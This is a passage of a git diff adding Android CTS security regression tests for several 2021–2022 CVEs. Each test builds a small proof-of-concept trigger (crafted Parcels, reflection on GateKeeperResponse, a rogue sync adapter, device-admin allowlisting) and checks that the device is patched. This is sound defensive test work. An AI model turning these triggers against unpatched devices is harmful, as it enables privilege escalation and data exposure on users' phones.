+ // Vulnerable module : com.android.phone
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = 185126149)
+ @Test
+ public void testCVE_2021_0642() {
+ try {
+ // This test requires the device to have Telephony feature.
+ Context context = getInstrumentation().getTargetContext();
+ PackageManager pm = context.getPackageManager();
+ assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+
+ // Get ResolverActivity's name and package name
+ Intent customIntent = new Intent(context.getString(R.string.cve_2021_0642_action));
+ ResolveInfo riCustomAction =
+ pm.resolveActivity(customIntent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.cve_2021_0642_msgResolveErrorPocAction),
+ !riCustomAction.activityInfo.packageName.equals(context.getPackageName()));
+ final String resolverPkgName = riCustomAction.activityInfo.packageName;
+ final String resolverActivityName = riCustomAction.activityInfo.name;
+
+ // Resolving intent with action "ACTION_CONFIGURE_VOICEMAIL"
+ Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ final String resolvedPkgName = ri.activityInfo.packageName;
+ final String resolvedActivityName = ri.activityInfo.name;
+
+ // Check if intent resolves to either VoicemailActivity or ResolverActivity
+ boolean isVoicemailActivity =
+ resolvedPkgName.equals(context.getString(R.string.cve_2021_0642_pkgPhone));
+ boolean isResolverActivity = resolvedPkgName.equals(resolverPkgName)
+ && resolvedActivityName.equals(resolverActivityName);
+
+ assumeTrue(context.getString(R.string.cve_2021_0642_msgResolveErrorVoicemail),
+ isVoicemailActivity || isResolverActivity);
+
+ // If vulnerability is present, the intent with action ACTION_CONFIGURE_VOICEMAIL
+ // would resolve to the IntentResolver i.e. ResolverActivity, the test would fail in
+ // this case.
+ assertFalse(context.getString(R.string.cve_2021_0642_failMsg), isResolverActivity);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
similarity index 93%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
rename to tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
index 1a335c7..ae73b01 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0642;
import android.app.Activity;
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
similarity index 87%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
index 1a335c7..4c0caee 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
@@ -14,9 +14,9 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0642;
import android.app.Activity;
-public class PocActivity extends Activity {
+public class SecondActivity extends Activity {
}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20135.java b/tests/tests/security/src/android/security/cts/CVE_2022_20135.java
new file mode 100644
index 0000000..2789ff8
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20135.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20135 extends StsExtraBusinessLogicTestCase {
+
+ @Test
+ @AsbSecurityTest(cveBugId = 220303465)
+ public void testPocCVE_2022_20135() {
+ Bundle bundle = new Bundle();
+ try {
+ Class clazz = Class.forName("android.service.gatekeeper.GateKeeperResponse");
+ assumeNotNull(clazz);
+ Object obj = clazz.getMethod("createGenericResponse", int.class).invoke(null, 0);
+ assumeNotNull(obj);
+ Field field = clazz.getDeclaredField("mPayload");
+ assumeNotNull(field);
+ field.setAccessible(true);
+ field.set(obj, new byte[0]);
+ bundle.putParcelable("1", (Parcelable) obj);
+ bundle.putByteArray("2", new byte[1000]);
+ } catch (Exception ex) {
+ assumeNoException(ex);
+ }
+ Parcel parcel = Parcel.obtain();
+ assumeNotNull(parcel);
+ parcel.writeBundle(bundle);
+ parcel.setDataPosition(0);
+ Bundle newBundle = new Bundle();
+ newBundle.readFromParcel(parcel);
+ newBundle.keySet();
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20338.java b/tests/tests/security/src/android/security/cts/CVE_2022_20338.java
new file mode 100644
index 0000000..15de30a
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20338.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.content.Context;
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20338 extends StsExtraBusinessLogicTestCase {
+
+ // b/171966843
+ // Vulnerable package : framework.jar
+ // Vulnerable app : Not applicable
+ @AsbSecurityTest(cveBugId = 171966843)
+ @Test
+ public void testPocCVE_2022_20338() {
+ try {
+ Context context = getInstrumentation().getContext();
+
+ final int representation = 1 /* REPRESENTATION_ENCODED */;
+ Parcel parcel = Parcel.obtain();
+ parcel.writeInt(3 /* HierarchicalUri.TYPE_ID */);
+ parcel.writeByteArray((context.getString(R.string.cve_2022_20338_scheme)).getBytes());
+ parcel.writeInt(representation);
+ parcel.writeByteArray(
+ (context.getString(R.string.cve_2022_20338_authority)).getBytes());
+ parcel.writeInt(representation);
+ parcel.writeByteArray((context.getString(R.string.cve_2022_20338_path)).getBytes());
+ parcel.writeInt(representation);
+ parcel.writeByteArray(null /* query */);
+ parcel.writeInt(representation);
+ parcel.writeByteArray(null /* fragment */);
+ parcel.setDataPosition(0);
+ Uri uri = Uri.CREATOR.createFromParcel(parcel);
+
+ // on vulnerable device, the uri format will be incorrect due to improper input
+ // validation. The test fails if the uri string matches the invalidURL.
+ assertFalse(
+ context.getString(R.string.cve_2022_20338_failMsg),
+ uri.toString().equals((context.getString(R.string.cve_2022_20338_invalidURL))));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java
new file mode 100644
index 0000000..b1ff168
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.accounts.Account;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.ISyncAdapter;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20358 extends StsExtraBusinessLogicTestCase implements ServiceConnection {
+ static final int TIMEOUT_SEC = 10;
+ Semaphore mWaitResultServiceConn;
+ boolean mIsAssumeFail = false;
+ String mAssumeFailMsg = "";
+
+ @AsbSecurityTest(cveBugId = 203229608)
+ @Test
+ public void testPocCVE_2022_20358() {
+ try {
+ // Bind to the PocSyncService
+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ Context context = instrumentation.getContext();
+ Intent intent = new Intent(context, PocSyncService.class);
+ intent.setAction("android.content.SyncAdapter");
+ CompletableFuture<String> callbackReturn = new CompletableFuture<>();
+ RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+ callbackReturn.complete(result.getString("fail"));
+ });
+ intent.putExtra("callback", cb);
+ context.bindService(intent, this, Context.BIND_AUTO_CREATE);
+
+ // Wait for some result from the PocSyncService
+ mWaitResultServiceConn = new Semaphore(0);
+ assumeTrue(mWaitResultServiceConn.tryAcquire(TIMEOUT_SEC, TimeUnit.SECONDS));
+ assumeTrue(mAssumeFailMsg, !mIsAssumeFail);
+
+ // Wait for a result to be set from onPerformSync() of PocSyncAdapter
+ callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+
+ // In presence of vulnerability, the above call succeeds and TimeoutException is not
+ // triggered so failing the test
+ fail("Vulnerable to b/203229608!!");
+ } catch (Exception e) {
+ if (e instanceof TimeoutException) {
+ // The fix is present so returning from here
+ return;
+ }
+ assumeNoException(e);
+ }
+ }
+
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ try {
+ if (mWaitResultServiceConn == null) {
+ mWaitResultServiceConn = new Semaphore(0);
+ }
+ ISyncAdapter adapter = ISyncAdapter.Stub.asInterface(service);
+ Account account = new Account("CVE_2022_20358_user", "CVE_2022_20358_acc");
+ adapter.startSync(null, "android.security.cts.CVE_2022_20358.provider", account, null);
+ mWaitResultServiceConn.release();
+ } catch (Exception e) {
+ try {
+ mWaitResultServiceConn.release();
+ mAssumeFailMsg = e.getMessage();
+ mIsAssumeFail = true;
+ } catch (Exception ex) {
+ // ignore all exceptions
+ }
+ }
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ try {
+ mWaitResultServiceConn.release();
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java
new file mode 100644
index 0000000..0bc8c2c
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class PocContentProvider extends ContentProvider {
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ return null;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java
new file mode 100644
index 0000000..08fbf92
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import android.accounts.Account;
+import android.app.Service;
+import android.content.AbstractThreadedSyncAdapter;
+import android.content.ContentProviderClient;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SyncResult;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+
+public class PocSyncService extends Service {
+ private static PocSyncAdapter sSyncAdapter = null;
+ private static final Object sSyncAdapterLock = new Object();
+ RemoteCallback mCb;
+
+ @Override
+ public void onCreate() {
+ try {
+ synchronized (sSyncAdapterLock) {
+ if (sSyncAdapter == null) {
+ sSyncAdapter = new PocSyncAdapter(this);
+ }
+ }
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ try {
+ mCb = (RemoteCallback) intent.getExtra("callback");
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ return sSyncAdapter.getSyncAdapterBinder();
+ }
+
+ public class PocSyncAdapter extends AbstractThreadedSyncAdapter {
+
+ public PocSyncAdapter(Context context) {
+ super(context, false);
+ }
+
+ @Override
+ public void onPerformSync(Account account, Bundle extras, String authority,
+ ContentProviderClient provider, SyncResult syncResult) {
+ try {
+ if (account.type.equals("CVE_2022_20358_acc")
+ && account.name.equals("CVE_2022_20358_user")) {
+ Bundle res = new Bundle();
+ res.putString("fail", "");
+ mCb.sendResult(res);
+ }
+ } catch (Exception e) {
+ // ignore all exceptions
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java
new file mode 100644
index 0000000..35d576e
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20420;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.IDeviceIdleController;
+import android.os.PowerExemptionManager;
+import android.os.Process;
+import android.os.ServiceManager;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20420 extends StsExtraBusinessLogicTestCase {
+ private static final int TIMEOUT_MS = 10000;
+ private static final int USER_ID = 0;
+ private Context mContext;
+ private DevicePolicyManager mPolicyManager;
+ private ComponentName mComponentName;
+ private UiAutomation mAutomation;
+
+ @After
+ public void tearDown() {
+ try {
+ mAutomation.dropShellPermissionIdentity();
+ mPolicyManager.removeActiveAdmin(mComponentName);
+ } catch (Exception ignored) {
+ // ignore all exceptions as the test has been completed.
+ }
+ }
+
+ @AsbSecurityTest(cveBugId = 238377411)
+ @Test
+ public void testDeviceAdminAppRestricted() {
+ try {
+ // Add test app to Power Save Whitelist.
+ mContext = getInstrumentation().getTargetContext();
+ mAutomation = getInstrumentation().getUiAutomation();
+ mAutomation.adoptShellPermissionIdentity(android.Manifest.permission.DEVICE_POWER,
+ android.Manifest.permission.MANAGE_DEVICE_ADMINS,
+ android.Manifest.permission.INTERACT_ACROSS_USERS_FULL);
+ IDeviceIdleController mDeviceIdleService =
+ IDeviceIdleController.Stub.asInterface(ServiceManager.getService("deviceidle"));
+ mDeviceIdleService.addPowerSaveWhitelistApp(mContext.getPackageName());
+
+ // Set test app as "Active Admin".
+ mPolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+ mComponentName = new ComponentName(mContext, PocDeviceAdminReceiver.class);
+ mPolicyManager.setActiveAdmin(mComponentName, true, USER_ID);
+ CompletableFuture<Boolean> future = new CompletableFuture<>();
+ BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ future.complete(true);
+ }
+ };
+ mContext.registerReceiver(broadcastReceiver,
+ new IntentFilter("broadcastCVE_2022_20420"));
+ future.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+
+ // Call vulnerable function getBackgroundRestrictionExemptionReason()
+ ActivityManager activityManager = mContext.getSystemService(ActivityManager.class);
+ int reason = activityManager.getBackgroundRestrictionExemptionReason(Process.myUid());
+ assumeTrue(
+ "Reason code other than REASON_ACTIVE_DEVICE_ADMIN/REASON_ALLOWLISTED_PACKAGE"
+ + " returned by getBackgroundRestrictionExemptionReason() = " + reason,
+ reason == PowerExemptionManager.REASON_ACTIVE_DEVICE_ADMIN
+ || reason == PowerExemptionManager.REASON_ALLOWLISTED_PACKAGE);
+ assertFalse("Vulnerable to b/238377411 !!",
+ reason == PowerExemptionManager.REASON_ALLOWLISTED_PACKAGE);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java b/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..c9c1b6f
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20420;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+ @Override
+ public void onEnabled(Context context, Intent intent) {
+ try {
+ context.sendBroadcast(new Intent("broadcastCVE_2022_20420"));
+ } catch (Exception e) {
+ // ignore all exceptions.
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java
new file mode 100644
index 0000000..af581a1
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC has been written taking reference from:
+// File: frameworks/base/core/tests/coretests/src/android/os/BundleTest.java
+// Function: readFromParcelWithRwHelper_whenThrowingAndDefusing_returnsNull()
+
+package android.security.cts.CVE_2022_20452;
+
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeNoException;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20452 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 240138318)
+ @Test
+ public void testPocCVE_2022_20452() {
+ try {
+ // Create a bundle with some parcelable object and a random string
+ Bundle bundle = new Bundle();
+ Parcelable parcelable = new CustomParcelable();
+ bundle.putParcelable("keyParcelable", parcelable);
+ bundle.putString("keyStr", "valStr");
+
+ // Read bundle contents into a parcel and also set read write helper for the parcel
+ Parcel parcelledBundle = Parcel.obtain();
+ bundle.writeToParcel(parcelledBundle, 0);
+ parcelledBundle.setDataPosition(0);
+ parcelledBundle.setReadWriteHelper(new Parcel.ReadWriteHelper());
+
+ // First set 'shouldDefuse' to true, then read contents of parcel into a bundle.
+ // In presence of fix, this will cause a ClassNotFoundException because bundle will not
+ // be able to find the class for 'CustomParcelable' as the class loader is not set, so
+ // Parcel will not be read properly and the code will return without reading the string.
+ Bundle.setShouldDefuse(true);
+ Bundle testBundle = new Bundle();
+ testBundle.readFromParcel(parcelledBundle);
+
+ // If the vulnerability is active, we will be able to read string from bundle.
+ assertNull("Vulnerable to b/240138318 !!", testBundle.getString("keyStr"));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java
new file mode 100644
index 0000000..f076eee
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CustomParcelable.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20452;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+public class CustomParcelable implements Parcelable {
+ private boolean mDummyValue = true;
+
+ CustomParcelable() {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @Override
+ public void writeToParcel(Parcel out, int flags) {
+ out.writeBoolean(mDummyValue);
+ }
+
+ public static final Creator<CustomParcelable> CREATOR =
+ new Creator<CustomParcelable>() {
+ @Override
+ public CustomParcelable createFromParcel(Parcel in) {
+ return new CustomParcelable();
+ }
+
+ @Override
+ public CustomParcelable[] newArray(int size) {
+ return new CustomParcelable[size];
+ }
+ };
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20456.java b/tests/tests/security/src/android/security/cts/CVE_2022_20456.java
new file mode 100644
index 0000000..2643433
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20456.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.app.NotificationManager.INTERRUPTION_FILTER_UNKNOWN;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.AutomaticZenRule;
+import android.content.ComponentName;
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+
+// This CTS test has been created taking reference from the tests present in
+// frameworks/base/core/tests/coretests/src/android/app/AutomaticZenRuleTest.java
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20456 extends StsExtraBusinessLogicTestCase {
+ private static final int INPUT_STRING_LENGTH = 2000; // 2 * 'MAX_STRING_LENGTH'
+ private static final String CLASS_NAME = "className";
+ private static final String PACKAGE_NAME = "packageName";
+ private static final String URI_STRING = "condition://android";
+ private static final String ZEN_RULE_NAME = "ZenRuleName";
+ private ComponentName mComponentNameWithLongFields;
+ private ComponentName mValidComponentName;
+ private String mLongString;
+ private Uri mLongUri;
+ private Uri mValidUri;
+ private List<String> mViolations;
+
+ private void checkFields(AutomaticZenRule rule, boolean ownerFlag, boolean configActivityFlag,
+ String tag) {
+ // Check all fields
+ if (INPUT_STRING_LENGTH <= rule.getName().length()) {
+ mViolations.add(tag + "input string length <= rule name length");
+ }
+ if (mLongUri.toString().length() <= rule.getConditionId().toString().length()) {
+ mViolations.add(tag + "input uri length <= rule conditionId length");
+ }
+ if (ownerFlag) {
+ if (INPUT_STRING_LENGTH <= rule.getOwner().getPackageName().length()) {
+ mViolations.add(tag + "input string length <= rule owner package name length");
+ }
+ if (INPUT_STRING_LENGTH <= rule.getOwner().getClassName().length()) {
+ mViolations.add(tag + "input string length <= rule owner class name length");
+ }
+ }
+ if (configActivityFlag) {
+ if (INPUT_STRING_LENGTH <= rule.getConfigurationActivity().getPackageName().length()) {
+ mViolations.add(tag
+ + "input string length <= rule configurationActivity package name length");
+ }
+ if (INPUT_STRING_LENGTH <= rule.getConfigurationActivity().getClassName().length()) {
+ mViolations.add(tag
+ + "input string length <= rule configurationActivity class name length");
+ }
+ }
+ }
+
+ private void checkConstructor(boolean ownerFlag, boolean configActivityFlag) {
+ ComponentName owner = ownerFlag ? mComponentNameWithLongFields : null;
+ ComponentName configActivity = configActivityFlag ? mComponentNameWithLongFields : null;
+ AutomaticZenRule rule = new AutomaticZenRule(mLongString, owner, configActivity, mLongUri,
+ null, INTERRUPTION_FILTER_UNKNOWN, /* enabled */ true);
